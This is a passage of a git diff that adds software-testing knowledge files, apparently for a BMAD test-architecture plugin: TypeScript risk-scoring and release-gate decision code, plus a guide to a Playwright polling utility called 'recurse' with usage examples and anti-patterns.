+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
